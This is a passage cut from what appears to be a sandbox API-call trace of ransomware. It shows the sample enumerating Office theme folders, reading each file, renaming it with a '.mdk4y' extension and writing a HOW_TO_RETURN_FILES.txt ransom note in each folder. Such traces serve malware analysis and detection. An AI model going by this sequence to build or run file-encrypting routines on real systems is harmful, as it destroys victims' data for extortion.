lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0118.556] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.556] AreFileApisANSI () returned 1 [0118.556] GetACP () returned 0x4e4 [0118.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0118.556] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.556] AreFileApisANSI () returned 1 [0118.556] GetACP () returned 0x4e4 [0118.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ECLIPSE.ELM", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ECLIPSE.ELMefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0118.556] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.557] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819378700000) returned 1 [0118.557] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1cf31, lpOverlapped=0x0) returned 1 [0118.581] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819381100000) returned 1 [0118.581] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819381100000) returned 1 [0118.584] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm.mdk4y")) returned 1 [0118.585] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.585] AreFileApisANSI () returned 1 [0118.585] GetACP () returned 0x4e4 [0118.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ECLIPSE.INF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ECLIPSE.INF", lpUsedDefaultChar=0x37dec0) returned 11 [0118.585] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819381600000) returned 1 [0118.586] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x253, lpOverlapped=0x0) returned 1 [0118.587] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819381700000) returned 1 [0118.587] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819381700000) returned 1 [0118.587] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf.mdk4y")) returned 1 [0118.615] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.615] AreFileApisANSI () returned 1 [0118.615] GetACP () returned 0x4e4 [0118.615] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0118.615] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.616] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819384600000) returned 1 [0118.616] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x543, lpOverlapped=0x0) returned 1 [0118.661] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819389100000) returned 1 [0118.661] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819389100000) returned 1 [0118.661] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.mdk4y")) returned 1 [0118.663] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.663] AreFileApisANSI () returned 1 [0118.663] GetACP () returned 0x4e4 [0118.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0118.663] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819389300000) returned 1 [0118.663] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x7e93, lpOverlapped=0x0) returned 1 [0118.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819389500000) returned 1 [0118.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819389500000) returned 1 [0118.665] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.mdk4y")) returned 1 [0118.665] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0118.665] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0118.666] AreFileApisANSI () returned 1 [0118.666] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0118.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0118.666] GetFileType (hFile=0x130) returned 0x1 [0118.667] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0118.667] AreFileApisANSI () returned 1 [0118.667] GetACP () returned 0x4e4 [0118.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EDGE", cchWideChar=4, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EDGEPSE", lpUsedDefaultChar=0x37df4c) returned 4 [0118.667] AreFileApisANSI () returned 1 [0118.667] GetACP () returned 0x4e4 [0118.667] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=61, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\Ł6(ű") returned 61 [0118.668] AreFileApisANSI () returned 1 [0118.668] GetACP () returned 0x4e4 [0118.668] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0118.668] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.668] AreFileApisANSI () returned 1 [0118.668] GetACP () returned 0x4e4 [0118.668] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0118.668] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.668] AreFileApisANSI () returned 1 [0118.668] GetACP () returned 0x4e4 [0118.668] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EDGE.ELM", cchWideChar=8, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="EDGE.ELMAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 8 [0118.668] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.668] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819389800000) returned 1 [0118.668] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb8f8, lpOverlapped=0x0) returned 1 [0118.678] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819390800000) returned 1 [0118.678] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819390800000) returned 1 [0118.678] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm.mdk4y")) returned 1 [0118.679] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.679] AreFileApisANSI () returned 1 [0118.679] GetACP () returned 0x4e4 [0118.679] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EDGE.INF", cchWideChar=8, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="EDGE.INF", lpUsedDefaultChar=0x37dec0) returned 8 [0118.679] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.679] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819390900000) returned 1 [0118.679] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x211, lpOverlapped=0x0) returned 1 [0118.680] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819391000000) returned 1 [0118.680] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819391000000) returned 1 [0118.680] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf.mdk4y")) returned 1 [0118.681] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.681] AreFileApisANSI () returned 1 [0118.681] GetACP () returned 0x4e4 [0118.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0118.681] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.681] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819391100000) returned 1 [0118.681] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x543, lpOverlapped=0x0) returned 1 [0118.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819395700000) returned 1 [0118.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819395700000) returned 1 [0118.727] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.mdk4y")) returned 1 [0118.743] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.743] AreFileApisANSI () returned 1 [0118.743] GetACP () returned 0x4e4 [0118.743] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0118.743] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819397400000) returned 1 [0118.744] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6722, lpOverlapped=0x0) returned 1 [0118.801] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819403100000) returned 1 [0118.801] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819403100000) returned 1 [0118.802] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.mdk4y")) returned 1 [0118.802] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0118.802] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0118.803] AreFileApisANSI () returned 1 [0118.803] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0118.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0118.803] GetFileType (hFile=0x130) returned 0x1 [0118.804] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0118.804] AreFileApisANSI () returned 1 [0118.804] GetACP () returned 0x4e4 [0118.804] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EVRGREEN", cchWideChar=8, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="EVRGREEN", lpUsedDefaultChar=0x37df4c) returned 8 [0118.804] AreFileApisANSI () returned 1 [0118.804] GetACP () returned 0x4e4 [0118.804] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=65, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\") returned 65 [0118.805] AreFileApisANSI () returned 1 [0118.805] GetACP () returned 0x4e4 [0118.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0118.805] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.805] AreFileApisANSI () returned 1 [0118.805] GetACP () returned 0x4e4 [0118.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0118.805] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.805] AreFileApisANSI () returned 1 [0118.805] GetACP () returned 0x4e4 [0118.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EVRGREEN.ELM", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="EVRGREEN.ELMfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0118.805] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.805] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819403500000) returned 1 [0118.805] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x12dee, lpOverlapped=0x0) returned 1 [0118.826] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819405600000) returned 1 [0118.826] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819405600000) returned 1 [0118.827] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm.mdk4y")) returned 1 [0118.828] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.828] AreFileApisANSI () returned 1 [0118.828] GetACP () returned 0x4e4 [0118.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EVRGREEN.INF", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="EVRGREEN.INF", lpUsedDefaultChar=0x37dec0) returned 12 [0118.828] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.829] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819405900000) returned 1 [0118.829] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x223, lpOverlapped=0x0) returned 1 [0118.830] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819406000000) returned 1 [0118.830] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819406000000) returned 1 [0118.831] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf.mdk4y")) returned 1 [0118.877] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.877] AreFileApisANSI () returned 1 [0118.877] GetACP () returned 0x4e4 [0118.877] WideCharToMultiByte (in: CodePage=0x4e4, 